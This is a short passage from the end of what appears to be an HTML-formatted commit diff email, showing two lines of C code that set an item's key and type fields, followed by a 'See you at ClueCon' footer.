</span><span class="cx">         item->key = key;
</span><span class="cx">         item->type = type;
</span></span></pre>
</div>
</div>
<div id="footer">See you at ClueCon</div>
</body>
</html>